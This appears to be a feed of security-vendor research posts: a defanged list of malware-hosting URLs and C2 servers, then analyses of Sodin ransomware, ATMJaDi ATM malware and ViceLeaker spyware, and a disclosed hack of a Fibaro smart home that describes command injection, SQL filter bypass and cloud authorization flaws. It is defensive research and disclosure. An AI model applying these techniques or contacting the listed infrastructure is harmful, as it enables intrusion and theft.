  • b34fd14105be23480c44cfdf6eb26807

Hosting malicious docs, executables, PowerShell and Pupy backdoors

  • moh.com-ho[.]me/Health_insurance_plan.doc
  • moh.com-ho[.]me/Health_insurance_registration.doc
  • mol.com-ho[.]me/cv_itworx.doc
  • mci.com-ho[.]me/cv_mci.doc
  • jquerycode-download[.]live/flashplayer23pp_xa_install.exe
  • jquerycode-download[.]live/citrixcertificate.exe
  • jquerycode-download[.]live/chrome_update.exe
  • jquerycode-download[.]live/CitrixReceiver.exe
  • jquerycode-download[.]live/check.aspx
  • jquerycode-download[.]live/CheckLog.aspx
  • https://ntg-sa[.]com/downloads/citrix_certificate.exe
  • https://ntg-sa[.]com/Downloads/flashplayer23pp_xa_install.exe
  • https://ntg-sa[.]com/Downloads/Chrome_Update.exe
  • http://ntg-sa[.]com/cv.doc
  • http://ntg-sa[.]com/cv_itworx.doc
  • http://ntg-sa[.]com/cv_mci.doc
  • http://ntg-sa[.]com/discount_voucher_codes.xlsm
  • http://ntg-sa[.]com/Health_insurance_plan.doc
  • http://ntg-sa[.]com/Health_insurance_registration.doc
  • http://ntg-sa[.]com/job_titles.doc
  • http://ntg-sa[.]com/job_titles_itworx.doc
  • http://ntg-sa[.]com/job_titles_mci.doc
  • http://ntg-sa[.]com/Password_Policy.xlsm
  • http://itworx.com-ho[.]me/*
  • http://mci.com-ho[.]me/*
  • http://moh.com-ho[.]me/*
  • http://mol.com-ho[.]me/*
  • http://ntg-sa[.]com/*
  • taqa.com[.]sa/arabic/resumes/resume.doc
  • taqa.com[.]sa/arabic/resumes/resume.doc
  • taqa.com[.]sa/arabic/resumes/cv-taqa.doc
  • taqa.com[.]sa/arabic/images/certificate.crt.exe
  • taqa.com[.]sa/arabic/tempdn/cv-taqa.doc
  • 104.218.120[.]128/pro.bat
  • 104.218.120[.]128/msservice-a-2.exe
  • 104.218.120[.]128/msservice-a-4.exe
  • 104.218.120[.]128/check.aspx
  • 104.218.120[.]128:69/checkFile.aspx
  • 139.59.46[.]154/IMo8oosieVai
  • 139.59.46[.]154:3485/eiloShaegae1
  • 69.87.223[.]26/IMo8oosieVai
  • 69.87.223[.]26:8080/eiloShaegae1
  • 69.87.223[.]26:8080/p

Additional C2

  • analytics-google[.]org:69/check.aspx
  • analytics-google[.]org/checkFile.aspx
  • jquerycode-download[.]live/check.aspx
  • jquerycode-download[.]live/checkFile.aspx
  • go-microstf[.]com/checkFile.aspx
  • 104.218.120[.]128/check.aspx
  • 104.218.120[.]128:69/checkFile.aspx

Sodin ransomware exploits Windows vulnerability and processor architecture

3 Červenec, 2019 - 12:00

When Sodin (also known as Sodinokibi and REvil) appeared in the first half of 2019, it immediately caught our attention for distributing itself through an Oracle Weblogic vulnerability and carrying out attacks on MSP providers. In a detailed analysis, we discovered that it also exploits the CVE-2018-8453 vulnerability to elevate privileges in Windows (rare among ransomware), and uses legitimate processor functions to circumvent security solutions.

According to our statistics, most victims were located in the Asia-Pacific region: Taiwan, Hong Kong, and South Korea.

!function(e,t,s,i){var n="InfogramEmbeds",o=e.getElementsByTagName("script")[0],d=/^http:/.test(e.location)?"http:":"https:";if(/^\/{2}/.test(i)&&(i=d+i),window[n]&&window[n].initialized)window[n].process&&window[n].process();else if(!e.getElementById(s)){var r=e.createElement("script");r.async=1,r.id=s,r.src=i,o.parentNode.insertBefore(r,o)}}(document,0,"infogram-async","https://e.infogram.com/js/dist/embed-loader-min.js");

Geographic spread of Sodin ransomware, April – June 2019

Technical description Vulnerability exploitation

To escalate privileges, Trojan-Ransom.Win32.Sodin uses a vulnerability in win32k.sys; attempts to exploit it were first detected by our proactive technologies (Automatic Exploit Prevention, AEP) in August last year. The vulnerability was assigned the number CVE-2018-8453. After the exploit is executed, the Trojan acquires the highest level of privileges.

Information about the process token after exploit execution

Exploit snippet for checking the window class

Depending on the processor architecture, one of two shellcode options contained in the Trojan body is run:

Procedure for selecting the appropriate shellcode option

Since the binary being analyzed is a 32-bit executable file, we are interested in how it manages to execute 64-bit code in its address space. The screenshot shows a shellcode snippet for executing 64-bit processor instructions:

Shellcode consisting of 32-bit and 64-bit instructions

In a 64-bit OS, the segment selector for 32-bit user mode code is 0x23, while the 64-bit segment selector is 0x33. This is confirmed by looking at the Global Descriptor Table (GDT) in the kernel debugger:

Part of the GDT in OS Windows 10 x64

The selector 0x23 points to the fourth segment descriptor (0x23 >> 3), and the selector 0x33 to the sixth (the null descriptor is not used). The Nl flag indicates that the segment uses 32-bit addressing, while the Lo flag specifies 64-bit. It is important that the base addresses of these segments are equal. At the time of shellcode execution, the selector 0x23 is located in the segment register cs, since the code is executed in a 32-bit address space. With this in mind, let’s take a look at the listing of the very start of the shellcode:

Saving the full address 0x23:0xC

After executing the command for RVA addresses 6 and 7, the long return address is stored at the top of the stack in the format selector:offset, and takes the form 0x23:0x0C. In the stack at offset 0x11, a DWORD is placed whose low-order word contains the selector 0x33 and whose high-order word encodes the instruction retf, the opcode of which is equal to 0xCB.

Saving the full address 0x33:0x1B to 64-bit code

Switching to 64-bit mode

The next instruction call (at the address RVA 0x16) performs a near intrasegment jump to this retf instruction (RVA 0x14), having sent the short return address (offset 0x1b) to the stack. As such, at the time of execution of the retf instruction, the top of the stack contains the address in the format selector:offset, where the selector equals 0x33 and the offset is 0x1b. After executing the retf command, the processor proceeds to execute the code at this address, but now in 64-bit mode.

64-bit shellcode

The return to 32-bit mode is performed at the very end of the shellcode.

Returning to 32-bit mode

The retf command makes a far intrasegment jump to the address 0x23:0x0C (it was placed in the instruction stack at the very start of the shellcode, at the RVA address 6-7). This technique of executing 64-bit code in a 32-bit process address space is called Heaven’s Gate, and was first described around ten years ago.

Trojan configuration

Stored in encrypted form in the body of each Sodin sample is a configuration block containing the settings and data required for the Trojan to work.

Decrypted Trojan configuration block

The Sodin configuration has the following fields:

Field Purpose pk distributor public key pid probably distributor id sub probably campaign id dbg debug build fast fast encryption mode (maximum 0x100000 bytes) wipe deletion of certain files and overwriting of their content with random bytes wfld names of directories in which the Trojan deletes files wht names of directories and files, and list of extensions not to be encrypted prc names of processes to be terminated dmn server addresses for sending statistics net sending infection statistics nbody ransom note template nname ransom note file name template exp use of exploit for privilege escalation img text for desktop wallpaper Cryptographic scheme

Sodin uses a hybrid scheme to encrypt victim files. The file contents are encrypted with the Salsa20 symmetric stream algorithm, and the keys for it with an elliptic curve asymmetric algorithm. Let’s take a closer look at the scheme.

Since some data is stored in the registry, this article uses the names given by the ransomware itself. For entities not in the registry, we use invented names.

Data saved by the Trojan in the registry

Key generation

The Sodin configuration block contains the pk field, which is saved in the registry under the name sub_key – this is the 32-byte public key of the Trojan distributor. The key is a point on the Curve25519 elliptic curve.

When launched, the Trojan generates a new pair of elliptic curve session keys; the public key of this pair is saved in the registry under the name pk_key, while the private key is encrypted using the ECIES algorithm with the sub_key key and stored in the registry under the name sk_key. The ECIES implementation in this case includes the Curve25519 elliptic curve, the SHA3-256 cryptographic hash, and the AES-256 block cipher in CFB mode. Other ECIES implementations have been encountered in Trojans before, for example, in SynAck targeted ransomware.

Curiously, the same private session key is also encrypted with another public key hardcoded into the body of the Trojan, regardless of the configuration. We will call it the public skeleton key. The encryption result is stored in the registry under the name 0_key. It turns out that someone who knows the private key corresponding to the public skeleton key is able to decrypt the victim’s files, even without the private key for sub_key. It seems like the Trojan developers built a loophole into the algorithm allowing them to decrypt files behind the distributors’ back.

Snippet of the procedure that generates key data and stores some of it in the registry

File encryption

During encryption of each file, a new pair of elliptic curve asymmetric keys is generated, which we will call file_pub and file_priv. Next, SHA3-256(ECDH(file_priv, pk_key)) is calculated, and the result is used as the symmetric key for encrypting file contents with the Salsa20 algorithm. The following information is also saved in the encrypted file:

Data stored in each encrypted file

In addition to the fields discussed above, there is also a nonce (random initialization 8 bytes for the Salsa20 cipher), file_pub_crc32 (checksum for file_pub), flag_fast (if set, only part of the data in the file is encrypted), zero_encr_by_salsa (null dword encrypted by the same Salsa20 key as the file contents – seemingly to check the correctness of the decryption).

The encrypted files receive a new arbitrary extension (the same for each infection case), the ransom note is saved next to them, and the malware-generated wallpaper is set on the desktop.

Cybercriminals demands

Fragment of the desktop wallpaper created by the ransomware

Network communication

If the corresponding flag is set in the configuration block, the Trojan sends information about the infected machine to its servers. The transmitted data is also encrypted with the ECIES algorithm using yet another hardcoded public key.

Part of the Sodin configuration responsible for network communication

Field Purpose ver Trojan version pid probably distributor id sub probably campaign id pk distributor public key uid infection id sk sk_key value (see description above) unm infected system username net machine name grp machine domain/workgroup lng system language bro whether language or layout is from the list (below) os OS version bit architecture dsk information about system drives ext extension of encrypted files

During the execution process, the Trojan checks the system language and available keyboard layouts:

If matches are detected in the list, the malware process terminates short of sending statistics.

MITRE ATT&CK techniques


More information about Kaspersky cybersecurity services can be found here: https://www.kaspersky.com/enterprise-security/cybersecurity-services




How we hacked our colleague’s smart home

1 Červenec, 2019 - 11:00

In this article, we publish the results of our study of the Fibaro Home Center smart home. We identified vulnerabilities in Fibaro Home Center 2 and Fibaro Home Center Lite version 4.540, as well as vulnerabilities in the online API.

An offer you cannot refuse

The backbone of any technology company is made up of tech enthusiasts – people who eat, sleep, and breathe it, whose passion for experimenting, including on personal devices, leads them to interesting results. The idea for this study was suggested to us by a colleague of ours, a system administrator in the past and now vice-president of the company. Fibaro Home Center was installed at his home, and he kindly gave us permission to dissect it.

Fibaro is a rather unique company in some ways. It started operating in 2010, when IoT devices were not yet widespread. Today, the situation is different. According to IDC, in just a few years the number of IoT devices will hit almost one billion. Fibaro Group’s plant in Poland already makes about one million different devices a year – from smart sockets, lamps, motion sensors, and flood sensors to devices that directly or indirectly influence the security of homes fitted with them. Moreover, sales of Fibaro devices for 2018 in Russia grew by almost 10 times against 2017. The company clearly plays a significant role in the IoT device market, so a study of Fibaro smart home security is very timely indeed. And when our colleague offered his home as a guinea pig, we could hardly say no.

It is our hope that this article will attract more researchers to the world of IoT, since the growing army of IoT devices requires ever more resources to analyze them. We also hope that the results of our research will catch the eye of companies that produce IoT devices, since errors like the ones we found are best addressed at the code audit and device testing stages.

The challenge we thus faced was to attack the system of someone we knew. On the one hand, this simplified the task, because we did not have to prepare a test bed (the system includes a fairly wide range of different devices). Yet on the other, it complicated it, because the host knew about the impending attack, and had every opportunity to secure his home against the “intruders.”

Potential attack vectors

Before examining the vulnerabilities detected, we will describe our analysis of the attack surface of the Fibaro smart home and consider each of the attack vectors.

Reconnaissance stage

Just like real cybercriminals, we started with a little intelligence and information gathering from open sources.

Smart home equipment is rather expensive, but there is no need to own a specific device to get the required information about it, since Fibaro publishes extensive details of its devices online. The FAQ section on the company’s website provides some interesting facts. For example, Home Center can be managed directly from home.fibaro.com or even via SMS. So clearly, when Internet access is available, the system connects to, and can be controlled through, the cloud.

The website also divulges that Home Center manages Fibaro devices using the Z-Wave protocol. This protocol is often used to automate home processes, as it has greater range than Bluetooth and lower power consumption than Wi-Fi.

Another tidbit is that if the network already has some kind of smart device that does not belong to Fibaro (for example, an IP camera), Fibaro provides various plug-ins to integrate the device into a single complex and manage it from Home Center.

Our colleague greatly simplified our task by providing a static IP address through which we could gain access to the admin panel login form.

Admin panel login form

A scan revealed that only one port accessible from the outside was opened at this IP address and it was forwarded on the router to the Fibaro Home Center admin panel. All other ports were blocked. The presence of an open port goes against Fibaro’s security recommendations (see item 10). However, if our colleague had used a VPN to access Home Center, the lack of any entry points to start analysis would have put an end to our study before it had begun.

Perimeter overview

At the reconnaissance stage, information from open sources (more precisely, from Fibaro’s official website) was sufficient to piece together several attack vectors that could be used against our colleague’s home.

Attack via Z-Wave

This attack can be carried out in the immediate vicinity of the device. The intruders need to reverse-engineer the code of the Z-Wave communication module, for which they need to be within range of a device operating on the Z-Wave protocol. We did not go down this route.

Attack via the admin panel web interface

As is known, the smart home system has an admin panel for device management. This means that there is some kind of backend and data storage on the device in question. Most often, due to the lack of RAM and persistent memory in embedded and IoT devices, the server role is performed by PHP or CGI (which run alongside a lightweight web server), while the file system or file database (for example, SQLite) acts as the storage. Sometimes, the server-side logic is wholly processed by a web server, which takes the form of a compiled binary ELF file. In our case, the software stack consisted of PHP, Lua, nginx, a C++ server, and lighttpd, while data was stored in both an SQLite database and a special section of the file system.

The fact that the admin panel operates through an API written in PHP encouraged us to continue this line of enquiry. To investigate the admin panel for vulnerabilities using white-box testing at this stage, we had to get the admin panel source code and the firmware of the smart home itself. This would provide a clearer understanding of its architecture and the structure of the logical processes inside it, such as scanning and downloading/installing updates.

Attack via the cloud

This type of attack can be carried out in two ways:

  1. By attempting to gain access to a device via the cloud having already access to similar Fibaro device,
  2. By attempting to gain access to the cloud, without access to any Fibaro device.

This vector implies testing the software logic, which is often located on the vendor’s servers. As we found out at the reconnaissance stage, Home Center can be managed through home.fibaro.com, a mobile app, or SMS. Even if you do not have a static IP address, your device will be accessible from the Internet. This means that the device connects to a server (most likely the vendor’s), which can allow the attacker to gain access to another smart home through the vendor’s common network.

The differences between (a) and (b) will become apparent when we examine the device architecture in more detail.  At this stage, suffice it to know that we need to somehow collect data about what common functionality the devices have in terms of the cloud.

File system image analysis

Let’s skip the description of how we found the image of the file system for the required device (we describe different ways of getting device firmware with examples as part of our IoT/embedded device vulnerability search training).

Our examination of the file system turned up some interesting facts.


The web server has a fully documented API that describes methods, parameter names, and the values they can take in a request. However, it turned out that to get any significant information, it was necessary to log into the admin panel.

The only information that can be obtained without authorization is the device serial number.

Access to the documented API through the web interface

Also, it can be seen in the nginx web server configuration file that some requests are proxied to a local server written in C++, and some are proxied to lighttpd, which executes code in PHP using mod_cgi. These PHP request handlers are called “services”

Simplified nginx server configuration


As already stated, the majority of API requests are handled by a C++ binary server. However, for unexplained reasons, the developers singled out part of the logic (rebooting the device, restoring factory settings, creating a backup copy, and much more) and wrote it in PHP.

The web server written in C++ accepts all requests from nginx, and we have no direct access to it. This significantly narrows the attack surface for this web server – we have no option to send a randomly generated HTTP request to it.

Therefore, the part of the logic written in PHP is of great interest to us, since it is just about the only entry point for a possible attack.

Serial number and hardware key

Each device has a serial number and a hardware key, which are used to authorize it in the cloud. Each time a device wants to perform an action that is somehow connected to the cloud (for example, send an SMS or email to the device owner, upload a backup copy to the cloud, download a backup copy), the device sends an HTTP request to the server with the serial number and hardware key as parameters. These are checked in the cloud for compliance in the database. If authorization is successful, the action is executed.

As we already know, the serial number is not secret: It is fairly easy to get by means of an API request. Moreover, the number is not long. The serial numbers we encountered correspond to the regular expression (HCL|HC2)-(\d{6}), which is a small enough space to brute-force.

The hardware key, meanwhile, is secret and individual for each device; it is stored in a special section of the file system that is mounted during device bootup.

However, only the device serial number is used for scanning and checking for updates. This makes it quite straightforward to download any update from the cloud by serial number.

Threat of hardware key theft

A device that stores personal user data must be made as secure as possible against intrusion. To increase the level of protection, device developers sometimes deprive the owner of superuser rights in the system. In this case, the owner becomes an ordinary, non-privileged user able to perform only actions allowed by the developers. Sometimes, however, this approach does not work, because if the owner wants to tweak or fix something in the device (for example, a vulnerability in the phone’s code), they will not be able to do it independently. They will need assistance from the device developers, who can release an update with a fix, but not as quickly as one would like. Therefore, an alternative approach involves developers giving owners superuser rights, together with the responsibility for their use.

Both approaches have their strengths and weaknesses, and the question of which is better is a good topic for debate, but not today.

Fibaro’s developers decided not to give Home Center owners superuser rights and extra responsibility. Therefore, we viewed options to elevate privileges in the system from the admin panel as full-fledged vulnerabilities.

In the threat model we built for Fibaro Home Center, the priority is to protect the hardware key. The device has a function for sending notifications to the smart home owner in the event that their participation is needed to resolve issues reported by smart home equipment. Any hardware key owner can send messages, and the list of recipients who the owner of a particular hardware key can contact is not controlled in any way.

Messages from the cloud come from the address SERIAL_NUMBER@fibaro.com, where SERIAL_NUMBER is the serial number of the owner’s device. It can be assumed that not all device owners remember their Home Center serial number, and are not vigilant enough to check it. They are likely not to notice the substitution of the serial number in the sender’s address; the fact that the message was sent from the @fibaro.com server will be enough. And they will perform the actions recommended in the message.

Since the problem of extracting the hardware key from the device’s persistent memory is in most cases a question of time, it might be an idea for developers to change the mechanism for sending messages and SMS.


In the Fibaro Home Center admin panel, it is possible to create “scenes” – behavior scenarios composed of blocks or scripts written in the Lua programming language that are executed under specified conditions.

Lua provides the option to create an isolated environment in which the programmer can execute arbitrary scripts in Lua without going beyond it. The language is also known for having various vulnerabilities that make it possible to escape from this isolated environment. A good example is a recently discovered vulnerability in Lua 5.0.3 in the bytecode verifier module, which formed the basis of a CTF challenge. In the description, the author states that the vulnerability was originally exploited on a “VPN SSL device” that that they were investigating as part of their work.

Unfortunately, we were out of luck: On the device that we examined, a newer version (5.2) of the Lua interpreter without the bytecode verifier module was installed, and none of the known simple methods of escaping from the Lua sandbox was available. In our case, the task of finding vulnerabilities in the isolated environment was reduced to searching for vulnerabilities directly in the Lua interpreter. This task is quite time-consuming, so we decided it would be irrational to pursue this vector.

Lua isolated environment


Many plug-ins for Fibaro Home Center can be used to manage devices that may not belong to Fibaro. This feature adds a very interesting research vector: Can a cybercriminal with access to a device controlled by Home Center through plug-ins attack Home Center and gain access to it? Within the framework of this study, we decided to postpone work on this vector and focus instead on vulnerabilities more likely to bear fruit.

Cloud communication

To communicate with the cloud, the device performs several steps:

  • It gets the IP address and port to which it should connect,
  • It establishes an SSH connection with the server,
  • It forwards SSH port 22 to the specified port.

Thus, the Fibaro control center can connect to Home Center via a cloud server using a private SSH key to execute any command sent by the home owner, for example, by SMS or via the website.

Authentication nuances

An administrator password salt was not individually generated for each device, but strictly defined in the PHP code. If an attacker wanted to gain access to all Fibaro devices, their goal would be made a lot easier as a consequence. The cybercriminal could download all saved backup copies of all Fibaro smart home users, and then find identical hashes corresponding to identical passwords. The most common password matching the most frequently occurring hash could be brute-forced.

The scenario whereby an attacker builds rainbow tables for a given salt is possible in a targeted attack against all users of Fibaro systems. This is another argument in favor of generating an individual salt for each device.

Vulnerability scan

The first thing we looked at during our study was the part of the API implemented in PHP.

It would have been very interesting for us to test the methods that lay behind login, but without the ability to sign in, this research vector would not have yielded any results, since we could not call the methods we needed.

We investigated practically the only entry point available to us, and found nothing. It seemed that the study had reached a deadend, but then we decided to study the attack vector via the cloud.

Access to the cloud through which the smart home is managed (i.e. home.fibaro.com) was also unavailable to us, so we could only collect information about the cloud from scripts on the device that accessed it. As a rule, requests to the cloud were made from the device using the command-line tool cURL. Of all the requests, the most interesting were those for uploading backup copies to the cloud and downloading them from the cloud to the device.


After testing the cloud methods for processing requests from the device, we discovered a vulnerability linked to an authorization error allowing an intruder to list the backup copies of any user, upload backup copies to the cloud, and download them without having any rights in the system.

This problem occurred in the PHP code most likely as a result of incorrectly processing a scenario in which the passed value of the hardware key was set to null.

We rated this vulnerability as critical because it allowed access to all backup copies that were uploaded to the cloud from all Fibaro Home Centers. As will be shown later, using a backup copy and a remote code execution vulnerability in the admin panel, it is possible to gain full control over Home Center without interacting with the owner.

Remote code execution

Several remote code execution vulnerabilities were related to weak implicit typing in PHP. Let’s consider a simplified PHP code snippet in which we found a vulnerability:

Simplified PHP code snippet

On Fibaro devices, a significant part of device management is implemented using bash scripts, which in turn invoke command-line utilities for direct execution of required actions in the system. Some of these executable scripts are invoked directly from the PHP code using the exec command.  Since in the above snippet the user-controlled parameter is subsequently included in the command-line arguments, it needs to be filtered. If it is not possible to avoid executing bash scripts, the best solution is to not interpret this line in the bash shell and to run this command in an execve()-style way through the pcntl_exec function. However, due to the weak typing in PHP, and the fact that $_GET[‘parameter_name’] necessarily takes a string value, this parameter can be equal to 1234some_data_here_or_may_be_code_injection, in which case it will pass the if($parameter_value>0) check. Thus, the exploitation of this vulnerability made it possible to execute code remotely from the admin panel and gain root access on the device.

SQL injection

We also detected several problems associated with the injection of SQL code.

With the development of smart home software, the introduction of new components and dependencies is inevitable. Yet at the same time, they have to be accommodated in memory of very limited size. As a result, developers have to question the need for each new file in the system so as to avoid unnecessary future outlays on having a larger memory for each device. Therefore, developers of embedded devices often try to reduce, as far possible, the number of executable files and libraries that get installed onto the device. This is probably why Home Center did not have a library for interaction between SQLite and PHP, which could eliminate SQL injection by design errors with the help of prepared statements.

Simplified code sample containing an error

As can be seen in the screenshot, the system developers wanted to avoid SQL injections through the use of a very interesting filtration technique involving the duplication of quotes in the query, and a no less unusual method of accessing the database by running the sqlite3 tool from the command line. However, such filtering turned out to be insufficient because the quotes can still be escaped using a backslash in the first parameter. If such a backslash is inserted, it leads to a breakout from the string context in the second parameter and potential SQL injection in the database query.

In versions older than 4.540, all database queries were modified and securely rewritten using prepared statements.

The “Attack”

Using the vulnerability identified, we managed to retrieve a backup copy from our colleague’s device, in which only one file was of interest to us: the SQLite database file. A careful examination of this file showed it to contain a lot of valuable information:

  1. Our colleague’s password in cached form with an added salt
  2. The precise coordinates of the home where the device was located
  3. The geolocation of our colleague’s smartphone
  4. Our colleague’s email addresses used for registration in the Fibaro system
  5. All data about IoT devices (including ones not belonging to Fibaro) that were installed by our colleague at home, with device model, username/password in text form, IP addresses of devices in the internal network, etc.

Note that storing passwords for Fibaro Home Center-integrated IoT devices in text form allows an attacker with access to the Home Center and the SQLite database to gain access to all other devices in the home.

An offline attempt to brute-force our colleague’s password led nowhere, and none of the passwords for the other devices in the home worked for the Home Center control panel. However, we would have been very surprised if such a simple attack had produced a result. As a company, we regularly emphasize the need to use strong unique passwords for each device or service.

If we could have recovered the password from the hash using brute force, or if one of the passwords for the other devices had worked, we could have got inside the Home Center control panel. Then, to elevate privileges in the system, we would have needed to exploit the remote code execution vulnerability described above. To gain access to the device in this case, the owner’s participation would not have been required. But we had to take a different route.

We created a special backup copy in which we placed a password-protected PHP script that could execute any our command. After that, using the relevant cloud functionality, we sent an email and an SMS to our colleague for him to update the software on the device by downloading from the cloud the backup copy that we had prepared.

Our colleague knew straight away that these messages were sent by us. First, he had been expecting an “attack,” and second, our email did not match the standard format used by Fibaro. However, an ordinary user unaware that their smart home is being hacked might not spot the difference in format. As such, our colleague decided to continue the experiment and installed the backup copy.

The web server for executing PHP scripts was run on the device with superuser rights. So after the backup copy was installed by the device owner, we gained access to the smart home with maximum privileges.

Naturally, being decent and responsible people, we did not take any harmful actions in our colleague’s home – with the exception of changing the melody on his alarm clock to indicate our presence. The following morning, our colleague awoke to the soothing tones of drum & bass.

But unlike us, a real attacker with access to Home Center is unlikely to just fool around with the alarm clock. One of the main tasks of the device we investigated is to integrate all smart things so that the home owner could manage them from Home Center itself. A “smart thing” here can be not just a light bulb or kettle, but vital safety equipment: for example, alarms, window/door/gate opening and closing mechanisms, surveillance cameras, heating/air conditioning systems, etc. The havoc a villain could wreak in this situation is the stuff of horror movies, not this article.


In the course of this study, we were able to gain potential access through the cloud to all Fibaro Home Centers by uploading and downloading backup copies, as well as full root access to our colleague’s smart home.

We uncovered critical vulnerabilities on the device itself and in the cloud service. Our findings were reported to Fibaro Group, after which all the vulnerabilities were successfully eliminated.

We wish to thank Fibaro Group for this successful cooperation, and hope that we have helped to improve the security of their flagship product.

Currently, smart home nightmares are confined to horror movie screenplays, but they could soon become a terrifying reality if we do not take sufficient care over what we make and use.




Criminals, ATMs and a cup of coffee

27 Červen, 2019 - 14:09

In spring 2019, we discovered a new ATM malware sample written in Java that was uploaded to a multiscanner service from Mexico and later from Colombia. After a brief analysis, it became clear that the malware, which we call ATMJaDi, can cash out ATMs. However, it doesn’t use the standard XFS, JXFS or CSC libraries. Instead, it uses the victim bank’s ATM software Java proprietary classes: meaning the malware will only work on a small subset of ATMs. It makes this malware very targeted.

Kaspersky products detect the sample as Trojan.Java.Agent.rs

Technical Details

First, as with most other ATM malware, the attackers must find a way to install the malware on the target ATMs. The malware can’t be controlled via the ATM keyboard or touchscreen, because it runs a self-crafted HTTP server web interface for its purpose. So the criminals must have network access to the target ATM. This makes us believe that the criminals have compromised the bank’s infrastructure to gain access to the network that the ATMs are connected to.

Once installed and executed, the malware, in the form of a Java archive file called “INJX_PURE.jar”, looks for the process that controls the ATM and injects itself into it, giving it control of the legitimate ATM process. After injection, the malware prints a message on the terminal simultaneously in several languages: Russian, Portuguese, Spanish and Chinese. However, all the other messages or strings used by the malware are in English. The different language phrases shown in the output can be translated into English as “Freedom and glory”. This is followed by the additional Russian message “отдельный”, which means “separate”. We believe this might be a false flag, because native Russian speakers would never use this word in this context.

  • Свобода и слава
  • Liberdade e glória
  • Libertad y gloria
  • 自由与荣耀
  • отдельный

Next, an HTTP server is started that accepts commands using predefined URL paths. They are:

  • /d to dispense or to get the ATM cassette to carry out actions (the proper action is determined by the passed parameters);
  • /eva to evaluate (run) user-supplied code on the victim ATM;
  • /mgr for the manager, which gives criminals access to a list of all running classes for the attached Java virtual machine, so that they can call any function they desire, supplying the arguments if needed;
  • /core allows the criminals to load a specified .jar file from the victim file system;
  • /root path accepts a POST request body and passes it as a shell command to cmd.exe, returning the resulting output.

The dispensing and “run a shell” path do not have an interface page with forms and buttons, but instead only accept pre-prepared HTTP POST requests and print the raw text results to a page, omitting HTML tags. So, in the case of the dispensing request, the malware response will be the ‘ok’ string. The “get cash units information” request will be followed by a string describing the ATMs cash units status (see the example below).


This string consists of four groups, each group separated with a semicolon. It is a list that corresponds to the ATM cash cassette and consists of two values, separated by a colon: the denomination and the actual number of bills in the cassette. In the example above, the first cassette has 1000 banknotes of denomination 1, 700 banknotes of denomination 5, etc.

Other than the “run a shell”, “dispense” and “get cash unit”, the “eva”, “mgr” and “core” paths have interface pages. Below is a screenshot of the evaluation page:

/eva path interface example screenshot

It allows the criminals to paste and run any JavaScript code on a victim ATM and see what it returns. Why JavaScript? Because Java allows the use of external engines, and the criminals used a JavaScript one. Below is the function that the malware uses to run the passed JavaScript code.

Malware sample code that can evaluate JavaScript


The targeted nature of ATMJaDi shows that the criminals studied the victim very well before writing their malware. It’s clear that they must have had access to an ATM where the custom Java classes were running and most likely to the Java program source code as well.

Also, the way the malware can be controlled shows that the criminals planned to gain network access to the infected ATM, most likely through the bank’s internal network.

What banks can do to prevent these types of attacks:

  • Set up special anti-targeted attack solutions such as KATA (Kaspersky Anti Targeted Attack Platform) to protect the bank’s network and other solutions to protect ATMs from malware;
  • ATM file whitelisting;
  • The bank ATM network has to be isolated and access to it must be highly restricted;

This is not a complete list of actions: the issue of information security requires constant attention and action.

ViceLeaker Operation: mobile espionage targeting Middle East

26 Červen, 2019 - 12:00

In May 2018, we discovered a campaign targeting dozens of mobile Android devices belonging to Israeli citizens. Kaspersky spyware sensors caught the signal of an attack from the device of one of the victims; and a hash of the APK involved (Android application) was tagged in our sample feed for inspection. Once we looked into the file, we quickly found out that the inner-workings of the APK included a malicious payload, embedded in the original code of the application. This was an original spyware program, designed to exfiltrate almost all accessible information.

Spyware sensors samples feed contained the first sample

During the course of our research, we noticed that we were not the only ones to have found the operation. Researchers from Bitdefender also released an analysis of one of the samples in a blogpost. Although something had already been published, we decided to do something different with the data we acquired. The following month, we released a private report on our Threat Intelligence Portal to alert our clients about this newly discovered operation and began writing YARA rules in order to catch more samples. We decided to call the operation “ViceLeaker”, because of strings and variables in its code.

Mobile ViceLeaker

The following table shows meta information on the observed samples, including compiler timestamps:

MD5 Package Compiler C2 51df2597faa3fce38a4c5ae024f97b1c com.xapps.SexGameForAdults dexlib 2.x 188.165.28[.]251 2d108ff3a735dea1d1fdfa430f37fab2 com.psiphon3 dexlib 2.x 188.165.49[.]205 7ed754a802f0b6a1740a99683173db73 com.psiphon3 dexlib 2.x 188.165.49[.]205 3b89e5cd49c05ce6dc681589e6c368d9 ir.abed.dastan dexlib 2.x 185.141.60[.]213

To backdoor legitimate applications, attackers used a Smali injection technique – a type of injection that allows attackers to disassemble the code of original app with the Baksmali tool, add their malicious code, and assemble it with Smali. As a result, due to such an unusual compilation process, there were signs in the dex file that point to dexlib, a library used by the Smali tool to assemble dex files.

Original code of the APK on the left, versus injected APK on the right

The analysis of the APK was rather interesting, because some of the actions were very common spyware features, such as the exfiltration of SMS messages, call logs and other data. However, in addition to the traditional functionality, there were also backdoor capabilities such as upload, download, delete files, camera takeover and record surrounding audio.

The malware uses HTTP for communication with the C2 server for command handling and data exfiltration. Here is a command and control protocol fragment:

Commands from C2 server parsing

In total, the malicious APK handles 16 different commands:

Command Endpoint Description 1 reqsmscal.php Send specified SMS message 2 reqsmscal.php Call specified number 3 reqsmscal.php Exfiltrate device info, such as phone model and OS version 4 reqsmscal.php Exfiltrate a list of all installed applications 5 reqsmscal.php Exfiltrate default browser history (limited to a given date) 6 reqsmscal.php Exfiltrate Chrome browser history (limited to a given date) 7 reqsmscal.php Exfiltrate memory card file structure 8 reqsmscal.php Record surrounding sound for 80 seconds 1 reqcalllog.php Exfiltrate all call logs 2 reqcalllog.php Exfiltrate all SMS messages 3 reqcalllog.php Upload specified file from the device to the C2 4 reqcalllog.php Download file from specified URL and save on device 5 reqcalllog.php Delete specified file 6,7,8 reqcalllog.php Commands not yet implemented 9 reqcalllog.php Take photo (muted audio) with rear camera, send to C2 10 reqcalllog.php Take photo (muted audio) with front camera, send to C2

All observed samples with Smali injections were signed by the same debug certificate (0x936eacbe07f201df).

As we know from our investigation, traces of the first development activities were found at the end of 2016, but the main distribution campaign began in 2018 (end of 2017).

Based on our detection statistics, the main infection vector is the spread of Trojanized applications directly to victims via Telegram and WhatsApp messengers. There are the following relevant detection paths (the last one is an alternative Telegram client – “Telegram X“):

Name Detection path Sex Game For Adults 18.apk /storage/emulated/0/WhatsApp/Media/WhatsApp Documents/ 4_6032967490689041387.apk /storage/emulated/0/Telegram/Telegram Documents/ Psiphon-v91.apk /storage/emulated/0/Android/data/org.thunderdog.challegram/files/documents/ Backdoored Open Source

During the course of our analysis, we also found samples sharing code with the ViceLeaker malware, in particular they shared a delimiter that was used in both cases to parse commands from the C2 server.

Modified Conversations (on the right) code overlap with the Smali injections (left)

